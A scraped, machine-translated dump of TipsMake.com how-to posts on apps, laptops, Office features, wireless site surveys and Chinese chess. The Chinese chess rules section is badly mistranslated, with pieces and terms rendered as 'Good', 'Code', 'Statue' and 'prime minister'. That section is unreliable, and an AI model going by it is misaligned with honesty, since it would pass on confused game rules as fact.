TipsMake.com.\nGuide to taking pictures of comic food with Foodie Step 1:\nUsers download Foodie app by following the link below and then install it on your phone.\nDownload the Foodie Android app\nhttps://play.google.com/store/apps/details?id=com.linecorp.foodcam.android\nDownload the Foodie iOS app\nhttps://itunes.apple.com/app/id1076859004\nAt the photography interface, you will immediately see the Cartoon Filter filter with a yellow icon in the center of the screen. Then we click the icon and then click Start to use.\n  Step 2:\nSwitch to the new interface, click Next to Upload photos to select photos of food directly or use the album photos in the device.\n  Step 3:\nPhotos when uploading to Foodie can change the angle, zoom in or zoom out photos by using two fingers to perform operations on photos. When you have selected a satisfactory area, click Post .\nYou wait a few seconds for the application to apply the Cartoon Filter filter to the image. We have 6 different image types with Cartoon Filter to choose from.\n  Step 4:\nAfter choosing a picture like that, you click on Save and share to download the image and share on social networks or send to friends.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnu86doJ5lpKR6ta3KnmSpoJ%2BpvLR5zp9kmqaZorJuss6omw%3D%3D\n","link":"/post/how-to-use-foodie-to-take-photos-of-anime-food/","section":"post","tags":null,"title":"How to use Foodie to take photos of anime food"},{"body":"Clean up Dropbox's cache on iPhone and will help free up space for your device.\nThere are many simple but effective ways to manage memory on iOS devices. For example, regularly clear the cache of applications on iPhone to free up space to help applications work efficiently. But did you know, you can also delete Dropbox's cache on iPhone phones?\nThe option to clean cache for Dropbox on iOS is deep inside the settings. When you clear the cache, some files will take longer to load. However, considering the benefits, this cleanup has a big effect in removing junk files. Offline files will not be affected by this cleanup. Here are the steps to do that.\nStep 1 . Open Dropbox on iOS device.\nStep 2 . Now touch the Settings icon located in the top left corner.\n  Step 3 . Next, scroll down and select Clear Cache / Delete Cache .\n  Step 4 . Finally, click Clear Cache / Clear Cache to confirm.\n  Note : You can also delete Dropbox search history. It can help the application run a bit more smoothly. To do so, click on the Clear Search History option (located directly above the Clear Cache option).\nIn addition to clearing the application cache, you can also delete unnecessary photos, videos and messages to free up space for iphone phones. Also, you can refer to the following ways to free memory.\nSee more:\n10 tips to free up storage on iPhone and iPad How to free up to 6GB of internal memory for iPhone Instructions for using Offload Unused Apps remove iPhone application without losing data, freeing memory ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaclaGytbXNoGSdqp%2Blr7DE0maampuYmnqwuoyip6Gnnpp6orrDZqCpmZQ%3D\n","link":"/post/instructions-for-deleting-dropbox-s-cache-on-iphone-and-ipad/","section":"post","tags":null,"title":"Instructions for deleting Dropbox's cache on iPhone and iPad"},{"body":"Power-user add-in will provide you with a huge number of templates (Template) accompanied by a variety of designs, designs to help you unleash creativity, save time and effort when making silde for PowerPoint presentations.\nPower-user has huge resources including: 2000 existing PowerPoint templates (PowerPoint templates); 2000 icons; 115 continental maps, available to allow you to edit; mind map…\nYou can learn more about the Power-user Add-in features in the following video:\nInstructions for installing and using Power-user:\nStep 1: Access the link below, wait for a message asking to enter Email to receive installation instructions as well as free licenses to use the full function as copyright mode appears.\nPowerPoint \u0026amp; Excel add-in l Power-user\n  Enter your Email address -\u0026gt; click Get it now!\nStep 2: Open the registered email and check -\u0026gt; click on the installation instructions.\n  Step 3: In the new interface that appears, click the Download the plugin button to download the application to your computer.\n  Step 4: After installation is complete -\u0026gt; click Continue as a free version -\u0026gt; enter the email you have registered -\u0026gt; Start .\n  A PowerPoint tab with the name Power-user will appear as shown below -\u0026gt; click on Teamplates to start creating and editing professional PowerPoint designs.\n  See more:\nMicrosoft will stop providing compatibility support for Word, Excel and PowerPoint from April How to fix Vietnamese errors in PowerPoint Download now a beautiful, professional PowerPoint wallpaper set ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZpyfrLutu8CdZKmnp5q%2Ftr%2FEq2ScqpWWwaZ5z6umn52jqLawusClZKykmZmybrLOq2Spp6eav7G7yKerZqGeYn5uucinrK2d\n","link":"/post/invite-download-power-user-create-professional-slide-for-powerpoint-in-1-minute/","section":"post","tags":null,"title":"Invite download Power-user, create professional Slide for PowerPoint in 1 minute"},{"body":"Microsoft launched the new Edge browser in January and to install it, users still have to download it from the website. Edge Chromium is highly appreciated by the community with its friendly, high-speed interface and offers the same familiarity as traditional Google Chrome.\nMicrosoft Edge is updated through Windows Update, which means that older versions of Edge will be replaced. Don't worry though, the new Edge will combine the strengths of the old Edge and the popular Chromium core.\n  You should be able to install Chrome add-ons for Edge but still enjoy the speed \u0026amp; benefits of being a browser-based browser. Old Edge also has very cool features like vertical tabs, reading mode, search bar and more.\nIf you're ready to switch from Chrome to Edge Chromium, ok, just switch because they don't make much of a difference. It's just like you install a new theme for Chrome. The only thing you will find missing is Google's syncing capabilities (like history, bookmarks, etc.) like on regular Chromium kernel browsers.\nIf you don't want to be 'forced' to use the new Edge, you can download it manually here.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrKls8RmmqGqn6K2trmMrqedmaSaeqOxxqKlrGWnnsGpedaipZ2np6h6trzDmque\n","link":"/post/microsoft-edge-chromium-update-begins-with-windows-update/","section":"post","tags":null,"title":"Microsoft Edge Chromium update begins with Windows Update"},{"body":"The Battalion Multi-Touch CZ-10 is iBUYPOWER's strategic card for the next generation of touch-enabled games coming soon, especially the RTS genre like Ubisoft's RUSE .\niBUYPOWER has just announced the world's first gaming laptop line with the Battalion Touch CZ-10 Multi-Touch multi-touch screen.\n    The main advantage of the CZ-10 is that the 15.6-inch screen supports multi-touch technology (similar to the iPhone) that supports a resolution of 1366 * 768. Besides, the CZ_10 is also equipped with Intel Core 2 Duo P8700 2 * 2.53GHz processor, ATI Radeon Mobility HD 4650 512MB GDDR3 graphics card, 2GB DDR3, 250GB hard drive, 6-cell battery.\nIn addition, users have the option of adding extended upgrades such as Blu-ray drive, 8GB DDR3, 500GB hard drive, gamer-specific accessories. The device is preinstalled with Windows 7 Ultimate operating system.\n  The Battalion Multi-Touch CZ-10 is iBUYPOWER's strategic card for the next generation of touch-enabled gaming games, especially the RTS genre like Ubisoft's RUSE.\nExpected Battalion Multi-Touch CZ-10 will be sold for 999 USD (converted into about 20 million VND) from January 22.\n    ncG1vNJzZmismaXArq3KnmWcp51kr6LA05qjoqeeYrq2uNOiq6itk516pMaQaWSmrZyptrW71JyfZqyVmLWvu8uonrJllaOws7vAnJ%2Beq12ku264wKmrqKij\n","link":"/post/multi-touch-technology-encroaches-on-laptops/","section":"post","tags":null,"title":"Multi-touch technology encroaches on laptops"},{"body":"This September, with PACISOFT Distribution and our partnership program, TipsMake.com will have a small gift for technology users. It is a 6-month free license using ESET SMART SECURITY security program 2016 version, you can see more details here:\nAt the ESET home page At Download.com.vn 1. What is ESET SMART SECURITY? Unlike normal antivirus programs - AntiVirus, ESET SMART SECURITY is a security software that integrates many functions such as:\nAdvanced Heuristic technology, in addition to multi-layer security capabilities, helps protect computers against new viruses and Internet threats.\n Improved Botnet Protection. Protect your Online account. Some key features:\nKill viruses and protect computers in real time. Detect and prevent phishing websites that contain dangerous content. Scan emails received and sent via email application on the computer. Personal fire wall: Filter the network traffic to and from the computer. Network attack protection: Detects incoming network attacks. Banking \u0026amp; Payment protection: Protect online payment websites and online banking. Botnet protection: Detects and blocks botnet communications. Parental control: Lock dangerous and sensitive websites. Gamer mode helps optimize performance to provide a better gaming experience. Anti-Theft: Protect your computer in case of loss or theft. 2. How to get free copy of ESET SMART SECURITY 2016: Yes, very simple.During this period from 09/09/2016 to 22/09/2016 , please visit the registration link below and participate in the program:\n Link registration form to receive ESET Smart Security 2016 license for free for 6 months.    Such an example\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kvra1wqSjsmWUpMSvuM6am2aZnpl6tr%2FEZpysnaRiwK6t0a1krJ2Tqr%2BqwNheemtdcXp6p7vRZm1mpZ%2Bjwam%2FjJ%2Bpnp1dpLNur8eaqaCd\n","link":"/post/quickly-download-and-use-eset-smart-security-for-6-months-free-of-charge/","section":"post","tags":null,"title":"Quickly download and use ESET SMART SECURITY® for 6 months free of charge"},{"body":"Periodic wireless network location surveys are very important. \n In order for the wireless network to work at the best level, make sure the access points (Access Points - AP) are in the best area and the radio waves (possibly the cause of the interference) must be at the lowest level. Depending on the type of installation, there are a number of tools to help you do this, such as software in the location survey program. The following basic steps will help you get the job done at the best level:    1. Outline the detailed plan , or basic plan, for the areas that you want the wireless network to cover. Some software products can help you build a basic plan directly. Consider plans and obstacles such as walls, lobby, elevators, floors - things that can interfere with the signal. Also note where it can be provided to users (as well as places not provided) to determine the average range. 2. Determine where to allocate access points (APs) based on power and cable that you can connect APs to the rest of the network. Remember that you should not place access points near metal objects or concrete walls. They should be placed as close to the ceiling as possible. 3. Estimate the total number of access points needed for the entire network range. Remember the top rule is that an AP can provide a radius of about 30 meters, which gives you a preliminary scope of the AP area to help you start the survey. If you already have some access points, pay attention to its location on the preliminary plan. 4. Use survey tool . Make sure you use the same AP model in your real infrastructure survey. Please see the instructions below to select the appropriate tool to use. 5. Locate and re-check the access points , depending on the results of your survey. 6. Use search materials : record areas and symbol reading materials, estimated data observed for later work.\n  Source: summittechnologies\nWhich tool should you choose best for the survey? There are three basic types:\nThe first is Windows-based software, which can be used on a single laptop. These software help you record estimation calculations such as signal length when walking around the building. You only need to buy a single AP and rotate around the potential locations identified in step 3. This tool is suitable for places that require small installations, only from one to three APs. They are also good in case you don't have a simple 'open office' plan, but there are different types of corridors and latent wave dead spots scattered around many floors. There are free tools for you to choose from such as NetStumbler and more features with AirMagnet Survey, Visiwave, Fluke Networks InterpretAir, Ekahau Site Survey, but costing a few thousand dollars. There are also other tools that work in conjunction with switching wireless products. They can be from Cisco Systems, Aruba Networks and Trapeze Networks, monitoring your wave range, giving you location advice on where to place the best AP points. The Aruba Mobility Controller has a free trial period and is an integral part of the manufacturer's switch set. Cisco's Wireless Control System costs $ 4,000 and Trapeze's RingMaster costs more than $ 549. If you have not decided on a wireless infrastructure vendor, rate their analysis tool.  Source: teamhogan One problem with these tools is that when applied to the real infrastructure, dead-point parameters and poor coverage areas are not accurate. Depending on the base plan and the number of obstacles such as thick walls and metal walls, you may need to purchase one of the \"wall-around\" tools discussed above. Finally there are some similar tools with great elasticity. They are useful in assessing sizes for places of multi-storey construction, yard grounds, campuses. You can also use for similar deployment activities or for the requirements of many different models in the future. These tools include SpectraGuard Planner of AirTight Networks, Wireless Valley LANPlanner, AirDefense Survey of Motorola, Bluesocket's Wireless LAN Planner. Trapeze's RingMaster is also capable of building radio models and similar functions. These tools are useful in evaluating the total number of APs you will need and simulating the final environment to build for you relatively well. But they can't tell you which devices are obstructing or give you an overall overview of the wireless network environment you're about to build. Remember, conducting a wireless network survey is never enough. They need to be done periodically. The wave environment may change when Bluetooth keyboards and radio listening devices come and go, as well as when microwave ovens turn on / off, or when a variety of other wireless devices contaminate the allocation sequence. 802.11 standard. So first listen to users who will surely complain that their signals are too weak and look for new dead spots in your building. And make sure that surveys are a part of network activities in general.\nncG1vNJzZmismaXArq3KnmWcp51kwKrEjKyrnqijYrOwvoywoKudnJrAtHnNnquwp6Kgeq27wpqroqeeYsC2vtWesA%3D%3D\n","link":"/post/six-steps-for-wireless-network-location-survey/","section":"post","tags":null,"title":"Six steps for wireless network location survey"},{"body":"The 2012 Alienware M18x version will have quad-core Ivy Bridge i7-3820QM processors, with Radeon 7970M graphics card or GeForce GTX 675M GPU.\n  Dell Alienware M18x R2 has 2 colors black and red.\nSince early January, the Dell-lab site has leaked information about Alienware M18x R2 laptop, M17x R4 and M14x R2, the upgraded version of M18x, M17x and M14x, may be equipped with new Intel Ivy Bridge chip.\nYesterday, the blog went on to reveal the detailed configuration of the PC for gamers of 2012. According to that, Alienware M18x R2 will have an 18.4-inch screen, equipped with Ivy Bridge processor i7-3610QM. 2.3Hz or i7-3820QM speed 2.7GHz, with Radeon 7970M graphics card or GeForce GTX 675M.\nAt the same time, this \"massive\" machine will be able to power up to 8GB of RAM, along with optional SATA III HDD / SSD hard drives of 750GB or 512GB capacity. Alienware M18X R2 may be equipped with a Wireless HD card (optional), a 240 watt AC adapter or 330 watts.\nAlienware M18X R2 has 2 optional colors that are red and black.\nAlienware notebook series for gamers released the first generation in 2009 and upgraded after each year. However, to date, in addition to the leaked information mentioned above, Dell has not yet announced the launch date and price of M18x 2012 version.\nncG1vNJzZmismaXArq3KnmWcp51krq21xKeumqqVYrpyhNdmoKxlpaW0s63DnptmrJ9itrfFjJupopyXmg%3D%3D\n","link":"/post/alienware-m18x-is-upgraded-to-ivy-bridge/","section":"post","tags":null,"title":"Alienware M18x is upgraded to Ivy Bridge"},{"body":"Along with chess, Chinese chess is one of the 2 most popular flags in Vietnam, many people play from old, young, male and female enough. However, if you have never played before, it will be a little difficult to identify the pieces as well as the rules. Today, TipsMake.com will share with you the most basic rules in Chinese chess. Please take a look.\n1. Introduce chess board and chess pieces Chessboard is a rectangle made of 9 vertical lines and 10 horizontal lines intersecting at right angles to 90 points. A space called a river (or ha) lies between the board, dividing the board into two equal symmetrical parts. Each side has a square of Generals (the Nine Bow) because of the 4 boxes that form in the vertical lines 4, 5, and 6 from the last horizontal line of each side, in these 4 boxes , two diagonal lines are drawn.\n  By convention, when the chess board is observed directly, the bottom will be the White (or Red ) army, above it will be the Black army. Lines along the White (Red) side are numbered from 1 to 9 from right to left. The lines along the Black side are numbered from 9 to 1 from right to left.\nEach game at the beginning must have 32 troops, divided equally on each side including 16 White (Red) and 16 Black, including 7 types of troops, with symbols and numbers for each party as follows\n  2. The movement principle of each chess piece Good : (or Binh) one box per country. If the latch has not crossed the river, it can only go forward. Once you have crossed the river, the latch can go across a country or go one step straight in each country. Cannon : Go horizontal and vertical like a car. The difference is that if the cannon wants to eat troops, the cannon must jump to the right one. When not eating troops, all points from the point of departure to the destination must not have any resistance. Code : Go across 2 cells and along one cell ( or along 2 cells and 1 cell horizontal ) for each move. If there are troops located right next to the code and blocking the horizontal line 2 (or vertical line 2), the blocked code must not go there. Vehicle : Walk horizontally or vertically on the board as long as it is not blocked by other troops from the point of departure to the destination. Statue : Cross 2 boxes ( horizontal 2 and vertical 2 ) for each move. Statues are only allowed on one side of the chessboard, not moving the opponent's chess board anymore. The statue's move will not be valid when there is a chess piece lying in the middle of the path. Si : Cross one box per country. He always had to stay in the palace like a General. General : Go one by one, go horizontal or vertical. The General must always be in the bow and cannot go out. \"Bow\" means a 3 × 3 square marked by an X-shaped diagonal. 3. Basic game rules Chinese Chess has many different rules and can be said to be \"difficult\" for people who don't know how to play. But you just need to understand the following basic concepts\nStart the army When a troop arrives at another intersection where the enemy is standing, it is entitled to arrest that army, and occupy the captured position. Do not take troops with you. Permission is given to the opponent to start his army or to actively give his troops to the enemy, except the generals Force was forced to be removed and removed from the board. Checkmate The troops of one party who go to another country threaten to let the next one of that army or another force catch the enemy's generals, then call it the prime minister. The prime minister must find a way to resist and avoid water shines. If not, he will lose the game. When you go to the country for a checkup, the party can shout \"checkmate\" or not. The General is projected from all four directions (illuminated from behind) The prime minister must move the general to another position to avoid the water shining and the army is shining. And the party to the projection must use other troops to block the projection, to cover the army. Anti-generals The two generals on the table must not lie on the same vertical column without any resistance in the middle. It is not valid for the two military generals to stand in the anti-army position. Chasing the Army A troop moves to a position where it can catch an enemy's enemy (except a champion) in the next country. Or a move makes the artillery fire enemy troops. Exclude the following exceptions:\nWhen a champion's or a good move flashes enemy troops. This move is not called a country of eviction. The country that threatens to go well without going to the river is not supposed to be a country of military eviction. The pilot country is not called a country to evict troops. Winning the flag Checking out the enemy generals. Show the enemy champion that the enemy does not support his champion. The opponent does not go to the specified number of countries within the specified time. The opponent arrived later than the specified time to start the game. If the opponent uses a shining army or uses multiple troops to alternate forever, they must change their moves, if they are not defeated. The opponent is in violation of the ban, and the party does not violate the law, the violating party will not change the move. When the seal is opened, it will continue to be postponed. If the seal is sealed and the wrong water cannot be explained, it is lost. If a competitor has a wrong turn, the opponent will give up, but both will lose. The opponent declared himself to be defeated. Losing the flag Do not record 3 times of each record including 4 consecutive countries. The opponent has a technical error 3 times, making a mistake 3 times. Opponents violate specific cases of losing on the chess pieces. Flag The referee judges that the game cannot be won by either side, that is, both sides have no troops that can attack the enemy to check the opponent. When the total number of moves since the last game has progressed is 30. The game progresses when the force is captured or when the good has gone to the river and took a step forward. Both parties are not prohibited and do not change the water. The two parties at the same time violate the same prohibition law. When the total moves of the game is 300. One side proposed to draw, the other party agreed, the game was automatically recognized as a tie. One party proposed a draw, after the referee checked each party to have 60 countries without a catcher, the game was reconciled. When a party entering the world is exposed, being tightly sealed without water, it is not allowed to offer a draw. I wish you a happy Tet with your relatives!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddpbmixcinnmabmJ67pr%2FEZpqhnaOoeqe70WaZnp%2BZo7umvtI%3D\n","link":"/post/guide-to-playing-chinese-chess-for-beginners/","section":"post","tags":null,"title":"Guide to playing Chinese chess for beginners"},{"body":"Over 2 years ago, right in the event of launching the flagship Galaxy S8 and S8 Plus duo, Samsung has made the technology world rise when introducing DeX - a service capable of turning your smartphone into a computer through a few simple connection operations.\nAccording to Samsung's introduction, 'DeX is a service that allows your smartphone to be used as a computer by connecting your phone to an external monitor such as a TV or computer monitor. You can use the phone's functions on a large screen and connect additional mouse and keyboard to control '.\nDesign, configuration and official selling price of Galaxy Note 10 / Note 10+   Samsung DeX helps to connect Samsung smartphones with computers, removable screens .\nThus, in order to use the Samsung DeX feature, users will have to own the DeX Station (the phone docking station, sold separately), the charger, HDMI cable and monitor. In addition, with DeX Station, users can also connect their phones to TVs or removable screens to project the screen and use the phone's functions on the big screen.\nBesides, you can also connect to peripherals near mouse or keyboard with phone via DeX Station. However, DeX Station doesn't have a battery, so you'll have to plug it in to use it.\nSamsung unveiled Galaxy Book S, an ultra-thin laptop with a long battery life   To use the Samsung DeX feature you will have to purchase DeX Station\nThe benefits that Samsung DeX offers, are theoretically excellent. But what about the actual use? Very few of us own a removable screen for use with phones, while most people often choose to connect the monitor to your laptop and desktop computer to work. .\nWith the launch of the Samsung Galaxy Note 10 on August 8, the Korean manufacturer decided to update some features to enhance DeX's practical use, such as the session. The phone can be stored inside a window on Windows 10 or MacOS, so users can use the Remote Desktop-ing feature right on their phones.\nRecently, a YouTuber, nicknamed Rydah, posted a demo video, showing how the Samsung DeX system works, using Windows apps and leaked USB drivers from Samsung itself. The video is as follows:\nIPhone users tend to switch to Samsung smartphones Pair the Galaxy Note 10+ with Windows 10 via Samsung DeX\nFrom the video, Samsung DeX's very stable performance can be easily seen, along with faster and simpler connectivity, allowing the phone to handle a variety of tasks in a flexible way. more active.\nAs such, this service will also be particularly useful if you want to avoid accessing websites on your PC, or accessing applications that are not available on the desktop.\nVideo showing the active Galaxy Note 10+ in the user's hand ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqK6uv9Snnmacla16uLvRpGSopl2stq%2BwzrCqZmlgYsOqsMSo\n","link":"/post/how-does-samsung-dex-work-on-windows-10-video/","section":"post","tags":null,"title":"How does Samsung DeX work on Windows 10 (video)"},{"body":"  Go to https://maps.google.com/ using the Chrome browser. This guide is specific to Google Chrome desktop version, so you need to use this browser to download images from Google Maps. You cannot use the app or the mobile site.\n  Find the destination. You'll see a search bar in the top left corner of the page. You need to search for a destination to find photos related to that place.\n  Click All under \"Photos\". You'll probably see \"Latest\" (Latest) or \"Street View \u0026amp; 360\" here; Click one of the options to open the photo library.\n  Right click in the left pane of the page. If you right click on the right part of the page, the screen will not show the selection menu.\n  Click Inspect . This is the option at the bottom of the menu.\nYou can also press Ctrl(Windows)/Cmd(Mac)+Shift+I to open the inspection pane.\n  Click Sources . You'll see this card above the code area next to Elements, Console, and Network.\n  Click the button next to \"Ih5.googleusercontent.com.\" This is the option next to the cloud, and the content of the location immediately appears.\n  Click the button next to \"p.\" The location's only folder is \"p\", so you can just click it to open it.\n  Find images. Click on the files to view photos related to the location on Google Maps. You will see a preview of the image to the right of the selected file.\n  Right-click the image and select Save… . After selecting the file, you can right-click on the image, and a pop-up menu will appear where the cursor is located. Click Save below the menu, and the image will display in a new window.\n  Right-click the image again and select Save image as . The file manager window opens immediately (Finder on Mac; File Explorer on Windows).\nName and select the folder where you want to save the file, and then click OK or Save.\nUsing Snip \u0026amp; Sketch on Windows   Go to https://maps.google.com/ with a browser. You can use any browser to get images from Google Maps using the screen capture tool.\n  Search destination. You'll see a search bar in the top left corner of the page. You need to search for a destination to find photos related to that place.\n  Click All under \"Photos\". You'll probably see \"Latest\" (Latest) or \"Street View \u0026amp; 360\" here; Click one of the options to open the photo library.\n  Select a photo in the left pane. When you click on the image in the left pane, the image is displayed at a larger size in the right part of the screen.\n  Open Snip \u0026amp; Sketch. You can click the Start menu icon (or press the Windows key), then type \"snip \u0026amp; sketch\" to find and open the application.\nMake sure the Google Maps window is open right before you open this app as the new screenshot will focus on that window. You cannot change the browser window after the next step.\n  Click New . The Snip \u0026amp; Sketch window immediately becomes the menu bar displayed at the top of the screen and you will see the browser window.\n  Click the rectangle icon. If you place your cursor over the icons, you will immediately see an explanation for each choice.\nThe last two icons are used to instantly take a screenshot of the current or full screen.\n  Click on the part of the screen you want to capture, and then drag and drop the mouse to select the entire image. You will see the selected area (the photo that you want to screenshot) highlighted.\nAfter releasing the mouse, you immediately see a preview of the selected area in the Snip \u0026amp; Sketch window. If you don't like it, you can try again by clicking New and repeating the previous steps.\n  Click the floppy disk icon. You can also press Ctrl + S to save the image. The File Explorer window immediately opens so you can name and choose the folder to save the file.\nBy default, the file will be saved in .png format. If you want to change the file type, click the drop-down list next to \"Save as type\" and choose .jpg or .gif.\nClick Save to save the file.\nUsing Mac   Go to https://maps.google.com/ in any browser. You can use any browser to save photos from Google Maps by taking screenshots with keyboard shortcuts.\n  Find the destination. You'll see a search bar in the top left corner of the page. You need to search for a destination to find photos related to that place.\n  Click All under \"Photos\". You'll probably see \"Latest\" (Latest) or \"Street View \u0026amp; 360\" here; Click one of the options to open the photo library.\n  Select a photo in the left pane. When you click on the image in the left pane, the image is displayed at a larger size in the right part of the screen.\n  Press ⇧ Shift+⌘ Cmd+4. This is a key combination that tells the computer to capture part of the screen. The pointer will look like a cross for you to select the area of ​​the screen to capture by dragging and dropping the mouse.\nYou can also use Shift + Cmd + 3 to capture the entire screen; Shift + Cmd + 4 + spacebar will capture the full screen when you click it.\nThe screenshots are saved on the main screen of the computer.\nGoogle Maps ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqxtM6tpqxllqe8rnnGqKagpJViuqK80g%3D%3D\n","link":"/post/how-to-get-photos-from-google-maps/","section":"post","tags":null,"title":"How to Get Photos from Google Maps"},{"body":"Besides basic Word content editing features, users can still insert charts, tables, or even Math and Chemistry formulas to cater to their teaching and learning needs. Unlike Office 2016 when users can draw to display formulas, the Word 2007 version is required to enter the content. The following article will guide readers to insert Math formulas on Word as well as how to customize the formula to be more accurate.\nInstructions for inserting Math formulas in Word 2016 How to recover a corrupted or lost Word 2016 document Create a quick dot (……………) line in Microsoft Word Instructions for inserting math expressions on Word Step 1:\nClick on the Insert tab and then click on Equation to select the Math expression to create.\n  Step 2:\nSelect the expression available in the list you want to use on Word.\n  The generic icon will appear in the Word interface as shown, followed by the editing interface above.\n  Step 3:\nHere, please edit the expression according to the content.\n  Step 4:\nIn case the user wants to create a formula that does not follow the default style provided by Excel, click Equation and select Insert New Equation .\n  Step 5:\nNext in the Design section tab, select the value types in the Math expression, such as selecting fractions and choosing Fraction and choosing the type of fraction you want to create.\n  Or you can select the base recipe, click on Radical and enter your base formula. Depending on the content of the expression you need to enter in Word, we choose the correct input formulas.\n  So by providing users with a list of mathematical formulas, it is easier to choose to complete the problem in Word. The general formula will be displayed and you only need to enter the index to finish.\nSee more:\nGuidelines for importing Chemistry formulas in Excel Instructions on how to copy formulas in Excel Instructions for deleting empty lines and columns in Excel 2016 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIymmK2gXZrFsb7ErKqip56oerC6jLCmq5xdZ31xgw%3D%3D\n","link":"/post/how-to-insert-math-expressions-on-word-2007/","section":"post","tags":null,"title":"How to insert Math expressions on Word 2007"},{"body":"Microsoft's new Chromium-based Edge browser reduces support for EPUB eBooks. You will need a third-party EPUB reader application to view EPUB files on Windows 10. Here are some good free options to choose from.\nEPUB reader recommended for Windows 10 Microsoft recommends downloading the EPUB application from the Microsoft Store. However, most great Windows applications are currently not available for download on the Windows 10 integrated Store app, including EPUB readers.\nIf you want a reliable EPUB viewer for Windows, there are quite a few options to consider:\nCaliber is an open source, free and powerful eBook management application. It includes eBook reader support for EPUB files and many other popular eBook formats. You will also find ebook collection manager, editing features and more. Caliber is a great app, but there are so many features and you might want something a bit simpler. Sumatra PDF is practically the opposite of Caliber. It is a compact and very light reading application. Sumatra PDF works with EPUB and MOBI e-books as well as PDF, XPS or even comics in CBZ and CBR format. Sumatra can even be used in 'portable' mode on laptops, so you can put it in USB or in cloud storage folder and run on your computer without pre-installation. If you like reading EPUB files in your browser, you might want to try browser extensions. Install EPUBReader from the Chrome Web Store and EPUB files will open as PDFs directly in the browser, when you click them on the web. You can also open EPUB files from a computer in your browser, the same way you use your browser as a PDF reader. The new Microsoft Edge is based on Google Chrome, so you can also install EPUBReader in Edge. There is a way to install extensions from the Chrome Web Store in Microsoft Edge.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtusc%2BumWaemaGytHnOp2SwoZ6ZvLi%2FjGpnZq%2BZqbWwwdNmpKKboqTAsLLTZpydn5U%3D\n","link":"/post/how-to-open-epub-files-on-windows-10-without-microsoft-edge/","section":"post","tags":null,"title":"How to open EPUB files on Windows 10 (without Microsoft Edge)"},{"body":"Dual camera technology in smartphones makes it easier to take portrait photos with Portrait mode and background blur. But each manufacturer has a way to implement this feature separately. So this article will show you how to enable Portrait mode on some Android devices.\nHow to take a Portrait mode on Android To take a photo in Portrait mode on an Android device, you can use the original function of the camera application on your phone.\nOn Samsung Galaxy Note 8 and S9 +: Live Focus Live Focus works the same way on Samsung Galaxy Note 8 and Galaxy S9 +. Both phones have a dual camera and dual lens mode to create depth-of-field effects. Live Focus only works on the rear camera on these devices. However, Samsung has introduced Live Focus for selfie on Galaxy A8 +, it has dual front camera.\nThe main feature of Live Focus is that it provides a slider to adjust the background blur. You can also adjust this slider after taking a picture. To use Live Focus on Note 8 and S9 +, follow these steps:\nStep 1 : Launch the camera application.\nStep 2 : Select Live Focus on the screen.\n  Step 3 : Adjust the level of blur with the slider near the bottom of the screen.\nStep 4 : Take a picture with the shutter button or volume button.\nTo adjust the opacity after taking a picture, select the image in the library and select the option to adjust the background blur.\nOn Samsung Galaxy S9: Selfie Focus Because Samsung's Selfie Focus mode is based on software, not dual lenses, it is available on both Galaxy S9 and Galaxy S9 +. Selfie Focus differs from Live Focus in that it automatically adjusts the white balance for your skin tones. This mode also achieves the same bokeh effect as the object in focus and blur the background.\nHere are simple steps to access the mode:\nStep 1 : Open the camera application.\nStep 2 : On the preview screen, switch to the previous camera. You can do this by swiping up or down; or use the conversion camera icon.\nStep 3 : Select Selfie Focus .\nStep 4 : Facing the front camera lens to take pictures.\nI wish you all success!\nSee more:\nHow to take Portrait Mode selfie photos on iPhone X This is a portrait shot that removes fonts (Portrait Mode) on Pixel 2 without Pixel 2 \"Magical\" photo wallpaper removal applications you should try ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJurYyppqusopa2tXnMqJueZZ%2BjeqK6w6umopw%3D\n","link":"/post/how-to-take-a-portrait-mode-on-android/","section":"post","tags":null,"title":"How to take a Portrait mode on Android"},{"body":"  Open Excel. The steps are the same for Excel 2010, 2013 and 2016 and differ only slightly for Excel for Mac: this difference is detailed below.\n  Click the File tab .\nWith Excel for Mac, click the \"Excel\" menu.\n  Click Options .\nWith Excel for Mac, click and the \"Preferences\" menu.\n  Go to the Customize Ribbon option.\nWith Excel for Mac, click \"Ribbon \u0026amp; Toolbar\" in the \"Authoring\" section.\n  Select the Developer box in the list on the right.\nWith Excel for Mac, the \"Developer\" entry is in the \"Tab or Group Title\" list.\n  Select OK . The Developer tab will appear at the bottom of your tag list.\nMacro Recording   Practice with the sequence of actions in your macro. When recording a macro, your every action or any click will be recorded. Therefore, just one mistake is enough for everything to go in vain. Work a few times with the commands you will record so that when you do, you can execute them decisively and accurately.\n  Open the Developer tab.\n  Click Record Macro . This option is located in the Code section of the ribbon. You can also use Alt+T+M+R to start a new macro (Windows only).\n  Name the macro. You should use a recognizable name, especially if you need to create a lot of macros.\nYou can also add a description to explain the function of the macro.\n  Click the Shortcut key field . You can assign keyboard shortcuts to macros for easier operation. Note that this is not a required step.\n  Press ⇧ Shift with the same letter. The Ctrl+⇧ Shift+letter key combination used to start the macro will be initialized.\nOn a Mac, that would be ⌥ Opt+⌘ Command+letter.\n  Click the Store macro in menu .\n  Click the location where you want to save the macro. If you're only using the macro for the current sheet, just leave it at \"This Workbook\". If you want to use macros for any worksheet, select \"Personal Macro Workbook\".\n  Click OK . Your macro will begin to be recorded.\n  Manipulate the commands that you want to record. Almost now, all your actions will be recorded and added to the macro. For example, in C7, if you run the formula to calculate the sum of A2 and B2, later, when running the macro, the sum of A2 and B2 will always be calculated and displayed at C7.\nMacros can become very complex. You can even use them to open other Office programs. When recording a macro, almost everything you do in Excel is added to it.\n  Press Stop Recording when finished. Macro recording will be stopped and your macro will be saved.\n  Save the file in the available macro format. To preserve macros, you need to save the workbook in a special Excel format that allows the use of macros:\nClick the File menu and choose Save. Click the File Type menu below the name field. Click Excel Macro-Enabled Workbook. Using macros   Open your macro-enabled Excel file. If you close the file before running the macro, you will be asked to enable its contents.\n  Click the Enable Content option . Every time an Excel file that allows the use of macros is opened, this option is located at the top of the 